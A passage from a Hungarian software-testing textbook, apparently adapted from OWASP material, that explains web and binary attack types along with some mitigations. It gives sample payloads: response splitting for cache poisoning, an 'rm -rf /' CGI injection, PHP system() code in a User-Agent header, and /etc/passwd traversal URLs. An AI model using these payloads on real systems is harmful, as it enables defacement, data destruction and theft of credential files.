image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

A HTTP fejléc mezők - "Pragma: no-cache" vagy "Cache-Control: no-cache" – eltávolítják a


lapot a cache-ből (már ha tárolva volt benne természetesen).
2 – a HTTP Válasz Szétválasztást használva arra kényszerítjük a cache szervert, hogy
két választ generáljon egy kérelemre.
GET http://testsite.com/redir.php?site=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

6-3
Szoftver tesztelés

Szándékosan állítjuk be a jövő időt (a fejlécben 2009. október 27-re van állítva) a második
válasz HTTP fejléc „Last-Modified” mezőjében, hogy tároljuk a választ a cache-ben.
Ezt a hatást megkaphatjuk a következő fejlécek beállításával:
 Last-Modified [Utoljára-Módosítva] (Az „If-Modified-Since” fejléc ellenőrzi)
 ETag (Az „If-None-Match” fejléc ellenőrzi)

3 – küldjünk kérelmet a lapnak, amit szeretnénk kicserélni a szerver cache-ében


GET http://testsite.com/index.html HTTP/1.1
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Elméletben a cache szervernek össze kellene párosítania a második választ a kettes


kérelemből a hármas kérelemmel. Így kicseréltük a cache tartalmát.
A kérelem maradékét egyetlen kapcsolat alatt kivitelezni lehet (hacsak a cache szerver nem
igényli kifinomultabb módszer használatát), valószínűleg az egyiket azonnal a másik után.
Ennek a támadásnak a használata problémásnak tűnhet, ha általános Cache Mérgezési
megoldásként szeretnénk használni. Ez a cache szerverek különböző kapcsolati modellje és
kérelem feldolgozási megoldása miatt van így. Mit jelent ez? Például azt, hogy az a módszer,
amivel az Apache 2.x cache-ét a mod_proxy és mod_cache modulokkal hatékonyan tudjuk
mérgezni, nem fog működni a Squid esetében.
Egy másik probléma az URI hossza, ami időnként lehetetlenné teszi, hogy betegyük a
szükséges válasz fejlécet, amit legközelebb a kérelemhez kellene párosítani a megmérgezett
laphoz.
Az felhasznált kérelem példák az alábbi linken[1] található dokumentumból származnak és a
cikk szükségleteinek megfelelően lettek módosítva.
Az alábbi dokumentumban bővebben olvashat ezekről a támadási fajtákról:
[1]
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf, készítette: Amit
Klein, Director of Security and Research

6.2 Adatszerkezet támadás - Bináris forrás fájl túltöltése

6.2.1 Leírás
A buffer túlcsordulás forrása a bevitt adat lehet. Amikor a bináris forrás file túltöltéssel
próbálkozik, a támadónak úgy kell módosítania/előkészítenie a bináris fájlt, hogy miután az
alkalmazás beolvasta, kiszolgáltatottá váljon egy klasszikus Buffer túlcsordulás támadásnak
(Buffer overflow attack). Az egyetlen különbség ez és a klasszikus típus között a bevitt adat
forrásában van. A leggyakoribb példák a különlegesen elkészített MP3, JPEG vagy ANI
fájlok, amik buffer túlcsordulást okoznak.

6.2.2 Példák
Az alkalmazás kiolvassa az első 8 karaktert a bináris fájlból.
rezos@dojo-labs ~/owasp/binary $ cat read_binary_file.c
6-4
Szoftver tesztelés

#include <stdio.h>
#include <string.h>

int main(void)
{
FILE *f;
char p[8];
char b[8];

f = fopen("file.bin", "r");
fread(b, sizeof(b), 1, f);
fclose(f);

strcpy(p, b);

printf("%s\n", p);

return 0;
}

A létrehozott fájl több, mint 8 karaktert tartalmaz.


rezos@dojo-labs ~/owasp/binary $ cat file.bin
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Egy újabb, futtatásra tett próbálkozás után az alkalmazás a következővel leáll:


rezos@dojo-labs ~/owasp/binary $ ./read_binary_file
Segmentation fault

Hiba. Vajon buffer túlcsordulás történt?


rezos@dojo-labs ~/owasp/binary $ gdb -q ./read_binary_file
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /home/rezos/owasp/binary/read_binary_file

Program received signal SIGSEGV, Segmentation fault.


0xb7e4b9e3 in strcpy () from /lib/libc.so.6

Igen, ez egy buffer túlcsordulás volt a strcpy() függvényben.


Miért?
fread(b, sizeof(b), 1, f); - karaktereket olvas a „stream f, sizeof(b)”-ből egyszer a b
bufferbe. Ez teljesen rendben lévőnek tűnik. De valójában nincs hely egy '\0' számára, ami
lezárja a sztringet.
Az strcpy(p, b); végrehajtása közben, amikor mindkét buffer egyenlő, megtörténik a
túlcsordulás. Ennek az oka a null bájt, mint végkarakter hiánya a b bufferben. A strcpy()
függvény mindent be fog másolni a b[0]-tól kezdve a p[] bufferbe egészen a null bájtig. A
támadó egy speciális fájl elkészítésével sikeresen véghezvitte a buffer túlcsordulás támadást.

6-5
Szoftver tesztelés

 Használjunk egyenértékű, biztonságos függvényeket, amik ellenőrzik a buffer hosszát


amikor csak lehetséges.
Mégpedig:
 gets() -> fgets()
 strcpy() -> strncpy()
 strcat() -> strncat()
 sprintf() -> snprintf()

 Azokat a függvényeket, amiknek nincs biztonságos verziójuk, át kell írni oly módon,
hogy tartalmazzanak biztonsági ellenőrzéseket. Az erre szánt idő meg fog térülni a
jövőben. Emlékezzen rá, hogy ezt csak egyszer kell megcsinálnia.
 Olyan fordítókat kell használni, amik képesek azonosítani a nem biztonságos
függvényeket, logikai függvényeket és ellenőrzik, hogy a memória nincs-e átírva
olyan helyen, ahol nem szabadna.

6.3 Kártékony kód beágyazása – Logikai/Időzített bomba

6.3.1 Leírás
A fenyegető közeg a „támadók” egy olyan csoportja, ami támadást hajt végre. Lehetnek
emberi (szándékosak vagy szándékolatlanok) vagy természetes eredetűek (áradás, tűz, stb.).
1. A fenyegető közeg egy mondatos leírásával kezdődik.
2. Kik azok az emberek, akikből ez a fenyegetési közeg felépül?
3. Meg kell vitatni a fenyegető közeg jellemzőit.

6.3.2 Kockázati tényezők


 Beszéljünk azokról a tényezőkről (factors), amik ezt a fenyegető közeget valószínűleg
vagy kevésbé valószínűleg támadásra bírják.
 Biztosan szót kell ejteni a fenyegető közeg méretéről, motivációjáról, képességeiről és
lehetőségeiről.

6.4 Trójai

6.4.1 Leírás
A Trójai olyan program ami megbízható alkalmazásnak álcázva tartalmaz ártalmas kódot. Az
ártalmas kód lehet egyébként hasznos alkalmazás része, rejtőzhet egy elektronikus levél
hivatkozása mögött vagy el lehet rejtve JavaScript-et futtató oldalakon, hogy titkos
támadásokat intézzen sebezhető internet böngészők ellen.
További részleteket az Ember-a-böngésző-támadások-mögött (Man-in-the-browser attack)
című részben olvashat.
6.4.2 A Trójai 7 fő típusa
1. Távoli Hozzáférésű Trójai (Remote Access Trojan; RAT): Arra tervezték, hogy teljes
irányításd biztosítson a támadónak a fertőzött számítógép fölött. Ezt a Trójait általában
segédprogramnak álcázzák.
2. Adatküldő Trójai (Data Sending Trojan): Ez a fajta Trójai valamilyen
billentyűlenyomás-rögzítő (keylogger) technológiát használ, hogy értékes adatokra

6-6
Szoftver tesztelés

tegyen szert, például jelszavakra, hitelkártya és netbank adatokra vagy azonnali


üzenetekre, amiket aztán visszaküld a támadónak.
3. Megsemmisítő Trójai (Destructive Trojan): Trójai, amit arra terveztem, hogy az
áldozat gépén tárolt adatokat megsemmisítse.
4. Proxy Trójai (Proxy Trojan): Ennek a Trójainak az a célja, hogy proxy szerverként
használja az áldozat számítógépét, lehetőséget biztosítva arra, hogy tiltott dolgokat
cselekedjen a fertőzött gépről, például banki csalással próbálkozzon vagy akár káros
támadásokat indítson az interneten keresztül.
5. FTP Trójai (FTP Trojan): Ez a Trójai a 21-es porton keresztül csatlakozva lehetővé
teszi a támadó számára, hogy FTP kapcsolatot létesítsen az áldozat gépével.
6. Biztonsági szoftver hatástalanító Trójai (Security software disabler Trojan): Ezt a
Trójait arra tervezték, hogy semlegesítse a tűzfalakhoz és vírusírtó programokhoz
hasonló biztonsági programokat, lehetővé téve ez által a támadónak, hogy többfajta
inváziós technológiát is használhasson az áldozat számítógépére való behatoláshoz és
hogy még a számítógépen túli eszközöket is megfertőzze.
7. Szolgáltatás-megtagadás támadó Trójai (Denial-of-Service attack Trojan): Ezt a
Trójait arra tervezték, hogy lehetőséget biztosítson a támadónak Szolgáltatás-
megtagadási támadás kivitelezésére az áldozat számítógépéről.

6.4.3 Tünetek
Néhány gyakori tünet:
 A háttérkép vagy más háttérbeállítás magától megváltozik
 Az egérmutató eltűnik
 A programok maguktól betöltődnek és kilépnek
 Állandóan furcsa figyelmeztető ablakok, üzenetek és kérdés dobozok jelennek meg
 Az e-mail kliens magától leveleket küld mindenkinek a felhasználó címlistájára
 A Windows magától leáll
 A rendszer magától újraindul
 Az internet hozzáférés adatai megváltoznak
 A felhasználó ez irányú tevékenysége nélkül is nagy az internetkapcsolat terheltsége
 A számítógép működése nagyon nagy erőforrásokat emészt fel (a számítógép lelassul)
 A Ctrl + Alt + Del gombkombináció nem működik

6.4.4 Kockázati tényezők


Magas: A Trójai át tud törni bármilyen biztonsági védelmet a hálózatban, mivel a támadó
hozzáférhet egy, a hálózati bejelentkezéshez szükséges, tárolt tanúsítványokkal ellátott
munkaállomáshoz. Ezeknek a birtokában a támadó az egész hálózatot veszélyeztetheti.

6.5 Azonosítási folyamat kihasználása – Account kizárási támadás

6.5.1 Leírás
Egy account kizárási támadáskor a behatoló megpróbálja kizárni az összes felhasználói
accountot, általában oly módon, hogy több alkalommal hibás bejelentkezést produkál, mint
amennyi a bejelentkeztető rendszer tűréshatára. Ha például egy felhasználó három hibás
bejelentkezési próbálkozással zárja ki az account-ját a rendszerből, akkor a támadó nemes
egyszerűséggel úgy zárja ki az account-jaikat, hogy háromszor hibás hibás bejelentkezést
produkál. Ez a fajta támadás nagymértékű szolgáltatás-megtagadási támadást eredményezhet,
ha minden felhasználói account ki van zárva, főként akkor, ha az accountok visszaállítása
komoly mennyiségű munkát igényel.

6-7
Szoftver tesztelés

6.5.2 Például: eBay támadás


Az account kizárási támadásokat arra használják, hogy kihasználják azokat a
bejelentkeztető rendszereket, amik érzékenyek a szolgáltatás-megtagadásra. Az egyik
híres ilyesfajta támadás az eBay-t érte. Az eBay korábban megjelenítette a legmagasabb
licitet tartó felhasználó azonosítóját (azóta ezt már megváltoztatták). Az árverés utolsó
perceiben valaki megpróbált belépni a legmagasabb licitet tartó felhasználó nevében
három alkalommal. A három sikertelen próbálkozás után az eBay jelszó védelme életbe
lépett és kizárta a legmagasabb licitet tartó hozzáférését egy időre. A támadó így
megtehette a saját ajánlatát, az áldozat pedig nem tudott fölémenni az ajánlatnak, mert
éppen ki volt zárva a rendszerből. Ezúton a támadó megnyerte az árverést.

6.6 Befecskendezés – Közvetlen statikus kód befecskendezése

6.6.1 Leírás
A közvetlen statikus kód befecskendezése általi támadás abból áll, hogy a kódot közvetlenül
az alkalmazás által használt erőforrásba juttatják bele, miközben egy felhasználó kérelme
éppen feldolgozás alatt van. Ez általában úgy történik, hogy befolyásolják a könyvtár és
sémafájlokat, amik a felhasználói kérelemnek megfelelően lettek létrehozva az adatok
megfelelő megválasztása nélkül. Egy, a módosított erőforráshoz beérkező felhasználói
kérelem esetén a benne foglalt cselekvés végrehajtódik a szerveroldalon a web szerver
folyamatának a függvényében.
A szerver oldali beszúrás (Server Side Includes) egy típusa a közvetlen statikus kód
befecskendezésének. Ez nem összekeverendő a többi fajta kód befecskendezéssel, mint
amilyen az XSS („Kereszt-helyszíni szkriptelés” vagy „HTML befecskendezés”), aminél a
kód a kliens oldalán hajtódik végre.

6.6.2 Példák
Példa 1
Ez az egyszerű példa a CGISCRIPT.NET csSearch 2.3 egyik gyengeségének a kihasználását
mutatja be, amit a Bugtraq-on jelentettek meg, 4368-as azonosítószám alatt. A következő
URL szerverre való meghívásával lehetséges a ‘’’’setup’’’ változóban meghatározott
parancsokat végrehajtani.
csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

A klasszikus példa szerint a következő parancsot arra lehet használni, hogy minden fájlt
eltávolítsunk a “/” könyvtárból:
csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`
Tegyük hozzá, hogy a fönti parancsnak kódolva kell lennie, hogy elfogadható legyen.
Példa 2
Ez a példa egy, az Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395)-ben lévő sebezhető
pontot használ ki, lehetővé téve a támadónak, hogy véletlenszerűen futtasson php kódokat.
Mindezt azért teszi, mert néhány, a felhasználóhoz tartozó változó, mint például az IP-cím
vagy a User-Agent egy olyan fájlban tárolódnak, amit az admin_iplog.php oldal használ, hogy
felhasználói statisztikákat mutasson. Amikor egy adminisztrátor ezt a lapot használja, akkor a
korábban egy káros kérelem által befecskendezett kód végrehajtódik. A következő példa egy
ártalmas php kódot tartalmaz, ami belerondít az index.php lapba, amikor az adminisztrátor az
admin_iplog.php-t futtatja.

6-8
Szoftver tesztelés

GET /board/index.php HTTP/1.0


User-Agent: <? system( "echo \'hacked\' > ../index.html" ); ?>

6.7 „Útkeresztezési támadás” (Path Traversal Attack)

6.7.1 Áttekintés
Az „útkeresztezési támadások” olyan fájlok és könyvtárak elérését célozzák, amik a hálózati
gyökér (web root) könyvtáron kívül vannak eltárolva. Az alkalmazás böngészése közben a
támadó olyan közvetlen hivatkozásokat keres, ami a web szerveren tárolt fájlokra mutatnak. A
„ ../ ” sorozatot és változóit tartalmazó fájlok manipulálásával lehetséges lehet tetszőleges
olyan fájlhoz vagy könyvtárhoz hozzáférni, ami a fájlrendszerben van tárolva, beleértve az
alkalmazások forráskódjait , konfigurációs- és a rendszer működése szempontjából kritikus
egyéb fájlokat, amit csak a rendszer hozzáférési műveletek korlátoznak. A támadó “../”
sorozatokat használ, hogy följebb lépjen a gyökérkönyvtárba és így lehetővé tegye a
fájlrendszerben való mozgást.
Ezt a támadást egy olyan külső ártalmas kód befecskendezésével lehet kivitelezni, ami a
Resource Ijection (Forrás befecskendezés) támadástípus által kitaposott ösvényt használja. A
támadás kivitelezéséhez nem szükséges különleges eszközök használata; a behatoló általában
valamilyen internetes fürkészt (web spider/crawler) használ, hogy felderítse az összes
használható URL-t.
Ezt a támadást több néven is ismerik, például:
 “dot-dot-slash” („pont-pont-vesszőcske”)
 “directory traversal” („könyvtárkeresztezés”)
 “directory climbing”(„könyvtármászás”)
 “backtracking” („visszakövetés”).

6.7.2 Leírás
Kérelem változatok
Kódolás és dupla kódolás:
%2e%2e%2f jelentése ../
%2e%2e/ jelentése ../
..%2f jelentése ../
%2e%2e%5c jelentése ..\
%2e%2e\ jelentése ..\
..%5c jelentése ..\
%252e%252e%255c jelentése ..\
..%255c jelentése ..\
és így tovább...

„Százalékos kódolás (más néven URL kódolás)” (Percent encoding (aka URL encoding))
Megjegyzés: a web tárolók egy szintnyi kódolást hajtanak végre a form-okról és az URL-ekről
származó százalékosan kódolt értékeken.
..%c0%af jelentése ../

6-9
Szoftver tesztelés

..%c1%9c jelentése ..\


Operációs rendszer specifikusan
UNIX
Gyökérkönyvtár: “ / “
Könyvtár elválasztó: “ / “
WINDOWS
Gyökérkönyvtár: “ <partíció betűjele> : \ “
Könyvtárelválasztó: “ / “ vagy “ \ ”
Megjegyzés: a Windows engedi, hogy a fájlneveket ráadás . \ / karakterek kövessék.

A legtöbb operációs rendszerben null bájtokat (%00) lehet injektálni a fájlnév lezárása
céljából. Például a következő paraméter elküldése:
?file=secret.doc%00.pdf

azt eredményezi, hogy a Java alkalmazás úgy látja, hogy a sztring „.pdf”-el ér véget, míg az
operációs rendszer úgy látja, hogy a fájl végén ".doc" áll. A támadók ezt a trükköt arra
használhatják, hogy átjussanak az érvényesítő rutinon.

6.7.3 Példák
Példa 1
A következő példa megmutatja, hogy az alkalmazás hogyan bánik a használatban lévő
erőforrásokkal:
http://some_site.com.br/get-files.jsp?file=report.pdf
http://some_site.com.br/get-page.php?home=aaa.html
http://some_site.com.br/some-page.asp?page=index.html
Ebben a példában lehetséges olyan ártalmas sztringet beilleszteni, mint változó paramétert,
hogy hozzáférjünk a webes könyvtáron kívüli fájlokhoz.
http://some_site.com.br/get-files?file=../../../../some dir/some file

http://some_site.com.br/../../../../some dir/some file

A következő URL-ek a *NIX jelszó fájl kihasználásának példáját mutatják be:


http://some_site.com.br/../../../../etc/shadow
http://some_site.com.br/get-files?file=/etc/passwd
Megjegyzés: Windows környezetben a támadó csak azon a partíción mozoghat, amin a webes
gyökérkönyvtár is található, míg Linux környezetben az egész merevlemezt bejárhatja.
Példa 2
Lehetséges ezentúl külső webhelyen található fájlok és szkriptek belefoglalása is.
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-
code.php

6-10
Szoftver tesztelés

Példa 3
Ez a példa azt az esetet mutatja be, mikor a támadó arra kényszerítette a szervert, hogy
megmutassa a CGI forráskódot.
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi

Példa 4
Ez a példa a Wikipedia - Directory Traversal oldalról lett továbbgöngyölítve
A sebezhető alkalmazás kódjának tipikus példája:
<?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>
Ez ellen a rendszer ellen a következő HTTP kérelmet lehet támadásként használni:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
A következő szerver választ generáljuk:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
Az ismételt ../ karakterek a /home/users/phpguru/templates/ után azt okozták, hogy
a include() átkerüljön a gyökérkönyvtárba és tartalmazza az /etc/passwd UNIX jelszó fájlt.
A UNIX etc/passwd egy szokásos fájl arra, hogy bemutassuk a directory traversal-t, mivel a
számítógépes kalózok gyakran használják arra, hogy jelszavakat törjenek fel.

6.7.4 „Abszolút útkeresztezés” (Absolute Path Traversal)


A következő URL-ek érzékenyek lehetnek erre a támadásra:
http://testsite.com/get.php?f=list
http://testsite.com/get.cgi?f=2
http://testsite.com/get.asp?f=test
A támadó a következő módon kivitelezhet egy ilyen támadást:
http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc
http://testsite.com/get.asp?f=/etc/passwd
6-11
Szoftver tesztelés

Amikor a web szerver a webes alkalmazás hibáit tartalmazó információval tér vissza, akkor a
támadónak sokkal egyszerűbb kitalálni a pontos helyet (vagyis a forráskódot tartalmazó
fájlhoz vezető utat, amit aztán megjeleníthet).

6.8 „Próbálgatásos technikák – Nyers Erő támadás” (Probabilistic


Techniques - Brute force attack)

6.8.1 Leírás
Ezzel a fajta támadással a behatoló megpróbálja úgy megkerülni a biztonsági
mechanizmusokat, hogy nagyon kevés információval rendelkezik róluk. A következő módok
valamelyikét használhatja:
könyvtár támadás (mutációkkal vagy anélkül) (dictionary attack (with or without mutations))
nyers-erő támadás (megadott csoportú karakterekkel, például: alfanumerikus, különleges,
„case-sensitive”) (brute-force attack )
A támadó megpróbálja elérni a célját. A megfelelő paraméterek (egy bizonyos módszer, a
próbálkozások száma, a rendszer hatékonysága) figyelembe vételével, amik levezénylik a
támadást a behatoló megjósolhatja, hogy meddig kell tartania a támadásnak. A nem nyers-erő
támadások (non brute-force attacks), amikben mindenféle karakter szerepel, nem
kecsegtetnek biztos sikerrel.

6.8.2 Példák
A Nyers-erő támadásokat leginkább arra használják, hogy megtippeljék a jelszavakat és
megkerüljék a hozzáférési ellenőrzéseket. Mindemellett sok olyan eszköz van, amik ezt a
technológiát használják, hogy a támadó részéről hasznosnak vélt információkat gyűjtsenek ki
bizonyos web szolgáltatások katalógusaiból. Nagyon sok esetben a támadások célpontjai a
különböző formátumokban lévő adatok (GET/POST) és a felhasználói Session-ID-k.
Példa 1
Az első forgatókönyvben, ahol az a Nyers-erő célja, hogy megtudjuk a jelszót kódolatlan
formában. Úgy tűnik, hogy a John the Ripper egy nagyon hasznos eszköz. A 10 legjobb
jelszótörő különböző módszerekkel, többek között Nyers-erővel dolgoznak. Ezek
megtalálható az alábbi oldalon:
http://sectools.org/crackers.html
A web szolgáltatások tesztelésére a következő eszközök állnak rendelkezésre:
 dirb (http://sourceforge.net/projects/dirb/)
 WebRoot (http://www.cirt.dk/tools/webroot/WebRoot.txt)
A dirb-höz fejlettebb eszközök is tartoznak. A segítségével képesek lehetünk:
 cooky-kat beállítani
 bármilyen HTTP fejlécet hozzáadni
 PROXY-t használni
 megtalált objektumokat mutálni
 http(s) kapcsolatokat tesztelni
 katalógusokban és fájlokban keresni meghatározott könyvtárak és sémák segítségével
 és még ezeknél sokkal többre is

A legegyszerűbben elvégezhető teszt a következő:

6-12
Szoftver tesztelés

rezos@dojo ~/d/owasp_tools/dirb $ ./dirb http://testsite.test/


-----------------
DIRB v1.9
By The Dark Raver
-----------------
START_TIME: Mon Jul 9 23:13:16 2007
URL_BASE: http://testsite.test/
WORDLIST_FILES: wordlists/common.txt
SERVER_BANNER: lighttpd/1.4.15
NOT_EXISTANT_CODE: 404 [NOT FOUND]
(Location: '' - Size: 345)

-----------------

Generating Wordlist...
Generated Words: 839

---- Scanning URL: http://testsite.test/ ----


FOUND: http://testsite.test/phpmyadmin/
(***) DIRECTORY (*)

Az adatkivitelnél a támadó értesül róla, hogy a phpmyadmin/ katalógus megtalálásra került. A


támadó, aki tudja ezt, most már végrehajthatja a támadást ezen az alkalmazáson. A dirb sémái
között – többek között – van olyan könyvtár, ami érvénytelen httpd konfigurációkról
tartalmaz információt. Ez a könyvtár fölfedezi az ilyesfajta gyengeségeket.

Az egyik a fő probléma a dirb-höz hasonló eszközökkel a felismerés, hogyha a szervertől


kapott válasz mindig megbízható. A fejlettebb szerver konfigurációk segítségével (mint
amilyen a mod_rewrite) az automatizált eszközök nem tudják eldönteni, hogy a szerver
válasza hibát jelez vagy pedig az eszköz megtalálta a támadó által keresett fájlt.

A CIRT.DK által írt WebRoot.pl alkalmazás beépített szerver mechanizmusokat tartalmaz


arra, hogy kielemezze a szerver válaszait és a támadó által megadott frázis alapján
megmondja, hogy a szerveren van-e azt tartalmazó fájl.
Például:
Np.
./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -match "test" -url
"/private/<BRUTE>" -incremental lowercase -minimum 1 -maximum 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00
o Webserver Bruteforcing 1.8 o
0 ************* !!! WARNING !!! ************ 0
0 ******* FOR PENETRATION USE ONLY ********* 0
0 ****************************************** 0
o (c)2007 by Dennis Rand - CIRT.DK o
oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates - NO CHECK


6-13
Szoftver tesztelés

[X] Checking for False Positive Scan - OK


[X] Using Incremental - OK
[X] Starting Scan - OK
GET /private/b HTTP/1.1
GET /private/z HTTP/1.1

[X] Scan complete - OK


[X] Total attempts - 26
[X] Sucessfull attempts -1
oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

A WebRoot.pl egy fájlt talált, a "/private/b"-t, a testsite.test-en, ami tartalmazza a „test”


frázist.

Egy másik példa arra, hogy megvizsgáljuk a változó értékeinek tartományát:


./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -diff "Error" -url
"/index.php?id=<BRUTE>" -incremental integer -minimum 1 -maximum 1

6.8.3 Védelmi eszközök


„Php Nyers-erő-támadás érzékelő” (Php-Brute-Force-Attack Detector)
http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip
Felismeri, hogy a web szervert vizsgálja-e valamilyen Nyer-erőt használó eszköz, mint
amilyen a Wfuzz vagy az OWASP DirBuster, illetve vizsgálják-e sebezhetőség érzékelők,
mint a Nessus, a Nikto, az Acunetix, stb. Ez segít gyorsan azonosítani a próbálkozó rossz
fiúkat, akik ki akarják használni a biztonsági pajzs réseit.
http://yehg.net/lab/pr0js/tools/php-brute-force-detector-readme.pdf

6.8.4 „Protokol Manipuláció – http Válasz Elosztás” (Protocol Manipulation - Http


Response Splitting)

6.8.4.1 Leírás
HTTP válasz elosztás (HTTP response splitting) történik, amikor:
 Adat kerül a webes alkalmazásba rendezetlen forráson keresztül, ami legtöbbször egy
HTTP kérelem.
 Az adat egy HTTP válasz fejlécben szerepel, amit egy web használónak küldtek
anélkül, hogy a káros karaktereket ellenőrzése megtörtént volna.

A „HTTP response splitting” a befejezés egy módja, nem pedig a befejezés maga. Alapjaiban
véve a támadás meglehetősen egyszerű: a támadó káros adatot továbbít egy sebezhető
alkalmazásnak, az alkalmazás pedig beleteszi az adatot a HTTP válasz fejlécébe.
A sikeres támadás érdekében, az alkalmazásnak engedélyeznie kell az olyan adatbevitelt, ami
CR (carriage return, %0d vagy \r) és LF (line feed, %0a vagy \n) karaktereket is beenged a
fejlécbe. Ezek a karakterek nem csak irányítást adnak a támadónak az alkalmazás által
küldeni szándékozott válasz maradék fejléce és főrésze fölött, de azt is lehetővé teszik, hogy
újabb, teljesen az irányítása alatt lévő válaszokat adjon.

6-14
Szoftver tesztelés

6.8.4.2 Példák
A következő kódrészlet kiolvassa egy weblog szerzőjének a nevét egy HTTP kérelemből és
cookie fejlécként beállítja egy HTTP válaszban.
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);

Ha feltételezzük, hogy olyan sztringet küldünk el a kérelemben, ami csupa normál


alfanumerikus karakterből áll, mint például „Jane Smith”, akkor a HTTP válasz, ami ezt a
cookie-t tartalmazza a következő formájú lehet:
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...

De mivel a cookie értéke ellenőrizetlen felhasználói adatbevitelből lett formázva, a válasz


csak akkor fogja fenntartani ezt a formát, ha az AUTHOR_PARAM-nak küldött érték nem
tartalmaz CR vagy LF karaktereket. Ha a támadó küld egy káros sztringet, mint például
"Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", akkor a HTTP válasz két különböző válaszra
lenne bontva, a következő formában:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...

Nyilvánvaló, hogy a második választ teljesen a támadó irányítja, olyan tartalmú fejlécet és
törzset ad neki, amilyet szeretne. Az, hogy a támadó olyan HTTP választ generál, amit akar,
lehetővé tesz több más fajta támadást is, többek között a következőket:
Cross-User Defacement, Cache Poisoning, Cross-site Scripting (XSS) és Page Hijacking.

6.9 „Erőforrás kimerítés” (Resource Depletion - Asymmetric resource


consumption (amplification))

6.9.1 Leírás
A támadó arra kényszeríti az áldozatot, hogy több erőforrást használjon, mint amennyi a
támadó hozzáférési szintjével engedélyezve van. A program valószínűleg nem, vagy csak
hibásan szabadítja föl a rendszer egy erőforrását. Az erőforrás nem lett rendesen kiürítve és
előkészítve az újbóli felhasználásra.

6.9.2 PÉLDÁK
Példa 1
A következő metódus sosem fogja bezárni a saját maga által megnyitott fájl kezelőt/számlálót
(file handle). The method for A StreamReader Finalize() metódusa végül meghívja a Close()
metódust, de semmi sem tudja megmondani, hogy mennyi időbe fog telni, mielőtt a Finalize()

6-15
Szoftver tesztelés

működésbe lépne. Valójában semmi garancia nincs arra, hogy a Finalize() egyáltalán
működésbe fog lépni. Egy terhelt környezetben ez azt eredményezheti, hogy a VM
felhasználja az összes rendelkezésére álló fájl számlálót.
private void processFile(string fName) {
StreamWriter sw = new
StreamWriter(fName);
string line;
while ((line = sr.ReadLine()) != null) processLine(line);
}

Miután minden fájl számlálót (fájl leírót) felhasznált, a VM nagyon instabillá válhat,
lelassulhat, vagy determinisztikusan megszakíthatja a működést a korábbi állapotához képest.
Példa 2
Normál körülmények között az alábbi C# kód egy adatbázis lekérdezést hajt végre,
feldolgozza a az adatbázis által adott eredményt és bezárja a hozzá társított SqlConnection
objektumot. De ha egy kivétel történik az SQL vagy az eredmények feldolgozása közben,
akkor az SqlConnection objektum fog bezáródni. Ha ez elég sokszor megtörténik, akkor az
adatbázis ki fog futni a rendelkezésére álló kurzorokból és nem fog tudni több SQL
lekérdezést végrehajtani.
C# példa:
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn; conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...

Az adatbázishoz kapcsolódó egybeeső kapcsolatok száma gyakran alacsonyabb, mint a


rendszer által maximálisan használható számlálók száma. Ez megkönnyíti az alkalmazások
szűk keresztmetszetének a megtalálását és a felhasználásukat arra, hogy leállítsuk instabillá
tegyük az alkalmazás működését.
Példa 3
Ha az N egybeeső kapcsolatot kezelni tudó alkalmazásba nincsenek beépítve megfelelő
mechanizmusok a kliensek leválasztására (például időkorlátok (TIMEOUT)), akkor nagyon
könnyen működésképtelenné tehető úgy, hogy N-hez közeli számú kapcsolatot hozunk létre.
Ráadásképpen ezek a kapcsolatok munkát is szimulálnak az alkalmazással, addig használva a
protokolljait, amíg föl nem emésztenek minden rendelkezésre álló erőforrást.

6.10 „Erőforrás Manipuláció – Kémprogram” (Resource Manipulation –


Spyware)

6.10.1 Leírás
A kémprogram (Spyware) olyan alkalmazás, ami statisztikai adatokat gyűjt a felhasználó
